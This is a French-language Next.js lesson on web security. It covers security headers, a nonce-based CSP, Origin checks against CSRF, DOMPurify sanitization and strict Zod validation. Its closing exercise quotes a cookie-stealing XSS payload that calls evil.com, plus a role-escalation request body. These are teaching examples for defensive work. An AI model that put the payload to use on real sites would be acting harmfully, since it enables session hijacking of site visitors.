Retour au cours

frontend / nextjs

Sécurité

Leçon 191 exercice

Explication

Ce que vous allez apprendre

  • Ajouter les headers de sécurité HTTP essentiels (X-Frame-Options, HSTS...)
  • Mettre en place une Content-Security-Policy (CSP) avec un nonce dynamique
  • Protéger une Server Action sensible contre le CSRF en vérifiant l'Origin
  • Nettoyer un contenu HTML non fiable avant affichage avec DOMPurify
  • Valider strictement chaque payload reçu avec un schéma Zod

Dans quel contexte ?

Une application permet aux utilisateurs de laisser des commentaires, affichés ensuite tels quels sur la page d'un article. Un attaquant teste un commentaire contenant une balise <script> malveillante : si rien ne filtre ce contenu avant affichage, ce script s'exécutera dans le navigateur de chaque visiteur qui lira ce commentaire (une attaque XSS classique), pouvant voler leurs cookies de session. Cette leçon regroupe les défenses complémentaires — headers, CSP, sanitization, validation — nécessaires pour empêcher ce scénario et d'autres attaques courantes.

Une idée à poser avant tout

Une application web moderne se défend rarement avec UNE seule mesure. Cette leçon regroupe plusieurs couches de protection complémentaires, chacune contrant un type d'attaque différent.

Une image aide à comprendre. C'est comme une maison protégée à la fois par une porte verrouillée, une alarme et un coffre-fort pour les objets de valeur — aucune protection seule ne suffit.

Commençons par la protection la plus simple à mettre en place : les headers HTTP. Des headers comme X-Frame-Options, X-Content-Type-Options ou Strict-Transport-Security demandent peu d'effort mais bloquent des familles entières d'attaques connues.

Un exemple d'attaque bloquée : le clickjacking. Il consiste à faire croire à l'utilisateur qu'il clique sur un bouton normal, alors qu'un site malveillant a superposé sa propre page invisible par-dessus.

Une fois les headers en place, une protection plus fine existe : la CSP (Content-Security-Policy). Elle part d'un principe de défense en profondeur : même si un attaquant parvient à injecter du code malveillant (XSS), la CSP empêche ce code de s'exécuter.

Comment fait-elle ça concrètement ? Seul du JavaScript explicitement autorisé, via un nonce unique généré à chaque requête, est accepté par le navigateur.

ProtectionContre quelle attaqueOù la configurer
X-Frame-OptionsClickjackingnext.config.js (headers)
CSP + nonceXSS (exécution de script injecté)Middleware
Vérification OriginCSRFServer Action sensible
DOMPurifyXSS via HTML non fiable affichéComposant qui affiche le contenu
Schéma ZodPayload malveillant, élévation de privilègeRoute Handler / Server Action

Prérequis

Cette leçon suppose que tu es à l'aise avec le middleware et les Server Actions vus précédemment : la CSP se configure dans l'un, la protection CSRF dans l'autre.

Il reste un autre type d'attaque à couvrir : le CSRF. Elle consiste à piéger un utilisateur déjà connecté pour qu'il déclenche, à son insu, une action sur un autre site, ses cookies de session étant envoyés automatiquement.

La parade est simple à mettre en œuvre. Vérifier l'en-tête Origin dans une Server Action sensible permet de rejeter les requêtes qui ne proviennent pas du domaine légitime de l'application.

Enfin, deux réflexes essentiels reviennent contre le XSS et les entrées malveillantes. Ne jamais insérer du HTML non fiable sans le "nettoyer" (sanitization, via DOMPurify par exemple).

Et surtout, valider STRICTEMENT chaque payload reçu. Via un schéma Zod, y compris pour empêcher qu'un utilisateur malveillant s'attribue un rôle "admin" en le glissant dans une requête.

Piège fréquent

Un schéma de validation qui accepte role: z.string() au lieu de role: z.enum(["member"]) permet à un attaquant d'envoyer { "role": "admin" } dans le corps de sa requête d'inscription et de s'auto-attribuer les droits administrateur. Toujours restreindre les valeurs acceptées au strict nécessaire, jamais un type générique trop permissif.

Le piège fréquent pour conclure : croire qu'une seule de ces mesures suffit. La sécurité réelle vient de la superposition : headers, CSP, validation stricte et vérification d'origine, chacune couvrant un angle d'attaque que les autres ne couvrent pas.

Commandes & code

Sécurité

js
// next.config.js — headers de sécurité HTTP appliqués globalement
/** @type {import('next').NextConfig} */
const nextConfig = {
  async headers() {
    return [
      {
        source: "/:path*",
        headers: [
          { key: "X-Frame-Options", value: "DENY" },
          { key: "X-Content-Type-Options", value: "nosniff" },
          { key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
          { key: "Permissions-Policy", value: "camera=(), microphone=(), geolocation=()" },
          {
            key: "Strict-Transport-Security",
            value: "max-age=63072000; includeSubDomains; preload",
          },
        ],
      },
    ];
  },
};

module.exports = nextConfig;
ts
// middleware.ts — Content-Security-Policy dynamique avec nonce
import { NextRequest, NextResponse } from "next/server";

export function middleware(request: NextRequest) {
  const nonce = Buffer.from(crypto.randomUUID()).toString("base64");

  const csp = `
    default-src 'self';
    script-src 'self' 'nonce-${nonce}' 'strict-dynamic';
    style-src 'self' 'unsafe-inline';
    img-src 'self' blob: data: https://cdn.example.com;
    connect-src 'self' https://api.example.com;
    frame-ancestors 'none';
  `.replace(/\s{2,}/g, " ").trim();

  const requestHeaders = new Headers(request.headers);
  requestHeaders.set("x-nonce", nonce);

  const response = NextResponse.next({ request: { headers: requestHeaders } });
  response.headers.set("Content-Security-Policy", csp);
  return response;
}
ts
// Protection CSRF pour les Server Actions — vérifier l'origine de la requête
"use server";

import { headers } from "next/headers";

const ALLOWED_ORIGINS = ["https://monapp.com", "https://www.monapp.com"];

export async function transferFunds(formData: FormData) {
  const headersList = await headers();
  const origin = headersList.get("origin");

  if (origin && !ALLOWED_ORIGINS.includes(origin)) {
    throw new Error("Origine non autorisée");
  }

  // ... logique métier sensible
}
tsx
// Éviter les injections XSS : ne jamais insérer du HTML non fiable sans sanitization
import DOMPurify from "isomorphic-dompurify";

export default function CommentBody({ rawHtml }: { rawHtml: string }) {
  const clean = DOMPurify.sanitize(rawHtml, {
    ALLOWED_TAGS: ["b", "i", "em", "strong", "a", "p"],
    ALLOWED_ATTR: ["href"],
  });

  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
ts
// Validation stricte des entrées API — ne jamais faire confiance au payload client
import { z } from "zod";
import { NextRequest, NextResponse } from "next/server";

const CreateUserSchema = z.object({
  email: z.string().email(),
  password: z.string().min(12).max(128),
  role: z.enum(["member"]), // "admin" volontairement exclu : élévation de privilège interdite ici
});

export async function POST(request: NextRequest) {
  const body = await request.json();
  const result = CreateUserSchema.safeParse(body);

  if (!result.success) {
    return NextResponse.json({ errors: result.error.flatten() }, { status: 400 });
  }

  // result.data est maintenant strictement typé ET validé
  return NextResponse.json({ ok: true });
}

Résumé

  • Headers de sécurité (HSTS, X-Frame-Options, CSP) via next.config.js ou middleware.
  • CSP avec nonce dynamique bloque l'exécution de scripts injectés (XSS).
  • Vérifier l'Origin dans les Server Actions sensibles : la protection CSRF n'est pas automatique.
  • Toute entrée utilisateur (API, formulaire, Server Action) doit être validée par un schéma strict côté serveur.

Exercices pratiques

1 disponible
1

Mission : le commentaire piégé et l'inscription qui s'auto-promeut admin

Objectif : Neutraliser un commentaire contenant un script malveillant et corriger un schéma de validation trop permissif exploitable pour une élévation de privilège.

Contexte

Un attaquant poste un commentaire contenant <script>fetch('https://evil.com/steal?c='+document.cookie)</script>, affiché tel quel via dangerouslySetInnerHTML sans aucun traitement. Par ailleurs, le schéma d'inscription utilise role: z.string() au lieu d'une liste stricte de valeurs, ce qui permet à n'importe qui d'envoyer { "role": "admin" } dans le corps de sa requête POST /api/users et de s'attribuer les droits administrateur dès l'inscription.

Résoudre l’exercice →